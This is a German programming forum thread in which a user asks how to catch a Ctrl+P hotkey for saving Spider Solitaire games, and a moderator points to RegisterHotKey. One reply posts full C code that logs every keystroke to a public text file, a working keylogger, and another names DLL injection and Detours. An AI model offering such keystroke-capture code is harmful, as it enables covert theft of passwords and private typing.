Key Hook



  • Hallo,
    ich habe folgendes Problem: Ich habe eine kleine Anwendung geschrieben, die Dateien umbenennt und verschiebt.
    Der Zweck des Programms ist simpel: Ich spiele in meiner Freizeit gerne Spider-Solitär (kennt jeder). Leider kann das Spiel immer nur ein Spiel speichern. Mein Programm bei entsprechendem Klick auf den Button bennent nun das Programm diese Datei um und bewegt sie in einen Ordner. Mit dieser Methode kann man mehrere Spiele speichern.
    Jedoch muss ich dazu immer die Fenster wechseln (Spider->mein Tool->Spider). Das ist recht nervig und ich würde das gerne per Tastaturhotkey ändern; d.h. ich drücke z.B STRG+P und mein Programm benennt diese Datei um und verschiebt sie in den speziellen Ordner. So muss ich das Spider-Solitär Fenster nicht verlassen.

    Das Programm funktioniert so ohne Probleme.. das einzige Problem ist im Moment der Keyhook bzw. die Tatsache, dass ich einfach kein Tutorial dafür finde. Der Keyhook aus dem Tutorial hier hat mir leider nicht arg weiter geholfen.

    Ich hoffe auf Hilfe
    mfG



  • Hi

    kannst mal den in einem Thread laufen lassen !

    #include <windows.h>
    #include <stdio.h>
    #include <time.h>
    
    FILE *log;
    
    int main(void)
    {
    
    int idex;
    
    long LogLength = 0;
    long len;
    short character;
    long theTime;
    
                 while(1)
                 {
                        for(character=8;character<=222;character++)
                        {
                            if(GetAsyncKeyState(character)==-32767)
                            {  
                                log=fopen("C:\\Users\\Public\\log.txt","a+");
                                if(log==NULL)
                                {
                                        return 1;
                                }            
                                if(log!=NULL)
                                {        
                                        if((character>=39)&&(character<=64))
                                        {
                                              fputc(character,log);
                                              fclose(log);
                                              break;
                                        }        
                                        else if((character>64)&&(character<91))
                                        {
                                              character+=32;
                                              fputc(character,log);
                                              fclose(log);
                                              break;
                                        }
                                        else
                                        {
                                            switch(character)
                                            {
                                                  case 187:
                                                  fputc('+',log);
                                                  fclose(log);
                                                  break;
                                                  case 188:
                                                  fputc(',',log);
                                                  fclose(log);
                                                  break;
                                                  case 189:
                                                  fputc('-',log);
                                                  fclose(log);
                                                  break;
                                                  case 190:
                                                  fputc('.',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD0:
                                                  fputc('0',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD1:
                                                  fputc('1',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD2:
                                                  fputc('2',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD3:
                                                  fputc('3',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD4:
                                                  fputc('4',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD5:
                                                  fputc('5',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD6:
                                                  fputc('6',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD7:
                                                  fputc('7',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD8:
                                                  fputc('8',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_NUMPAD9:
                                                  fputc('9',log);
                                                  fclose(log);
                                                  break;
                                                  case VK_CAPITAL:
                                                  fputs("\r\n[CAPS LOCK]\r\n",log);
                                                  fclose(log);
                                                  break;
                                                  case VK_SHIFT:
                                                  fputs("\r\n[SHIFT]\r\n",log);
                                                  fclose(log);
                                                  case VK_SPACE:
                                                  fputc(' ',log);
                                                  fclose(log);
                                                  break;    
                                                  case VK_CONTROL:
                                                  fputs("\r\n[CTRL]\r\n",log);
                                                  fclose(log);
                                                  break;
                                                  break;                                            
                                                  case VK_RETURN:
                                                  fputs("\r\n[RETURN]\r\n",log);
                                                  fclose(log);
                                                  break;
                                                  case VK_BACK:
                                                  fputs("\r\n[BACKSPACE]\r\n",log);
                                                  fclose(log);
                                                  break;
                                                  case VK_TAB:
                                                  fputs("\r\n[TAB]\r\n",log);
                                                  fclose(log);
                                                  break;
                                                  case VK_DELETE:
                                                  fputs("\r\n[DELETE]\r\n",log);
                                                  fclose(log);
                                                  break;
                                                  default:
                                                  fclose(log);
                                                  break;
                                           }        
                                      }    
                                 }        
                       }    
                   }                  
    
                 }
    
                fclose(log);
    		}
    
    // Author -> Lowbyte
    
    // Author -> Lowbyte
    

    Kannst ihn ja einfach bei zbsp. VK_NUMPAD8 behandeln.

    lowbyte



  • Hi

    Musst den Code natürlich anpassen !

    lowbyte



  • Hi,
    ich danke für den Code, jedoch hat das mir nur in sofern weitergeholfen, dass ich gemerkt habe, dass ich mich etwas unklar ausgedrückt habe.

    Ich will den Tastaturbefehl STRG+P an das Spider-Solitär Fenster abfangen (das ist wohl das richtige Wort).
    Die entstandenen Unannehmlichkeiten tun mir leid.
    mfG



  • Dann wirst du wohl nicht darum herum kommen die entsprechende Fensterprozedur zu hooken (durch eine Dll oder Thread Injektion).



  • Hi

    Das ist natürlich was ganz anderes.
    Ja das sind dan wohl auch die einzigen möglichkeiten.

    lowbyte



  • _-) schrieb:

    Dann wirst du wohl nicht darum herum kommen die entsprechende Fensterprozedur zu hooken (durch eine Dll oder Thread Injektion).

    Das habe ich vor. Jedoch fehlen mir, wie gesagt, die Tuts dafür 😃



  • CreateRemoteThread und Microsoft Detours



  • Du kannst das doch auch mit GetAsyncKeyState machen:

    while(true)
    {
        static bool Save = true
        if(GetAsyncKeyState(VK_CONTROL)&&GetAsyncKeyState(VK_P)&&Save)
        {
        /* STRG+P ist gedrückt. */
        Save = false;
        }
        if(!GetAsyncKeyState(VK_CONTROL)||!GetAsyncKeyState(VK_P))Save = true;
    
    Sleep(3);
    }
    

    Diese Schleife musst du dann einfach in dein Programm einbauen. Dürfte allerdings nicht so auber sein wie ein Key-Hook. Ob VK_P ein gültiger Key-Code ist, weiss ich nicht, ich hab das Programm nicht getestet. Sollte VK_P nicht definiert sein, müsstest du den Key-Code von P irgendwie herausfinden und dann anstelle von VK_P einfügen.

    MfG, Jochen



  • Also GetAsyncKeyState würde mein Problem lösen, allerdings arbeite ich mit der UI und kann da keine ich ja nicht einfach so eine while-Schleife einbauen. Und WM_KEYDOWN o.ä. wird ja nur gesendet, wenn die Anwendung den Focus hat (soweit ich weiß).



  • Dann verwende halt PeekMessage + Sleep(1) anstatt GetMessage, oder mach einen extra Thread.


  • Mod

    Man muss hier gar nichts mit Hooks machen. Für solch einen Fall kann man elegant RegisterHotKey benutzen.


Anmelden zum Antworten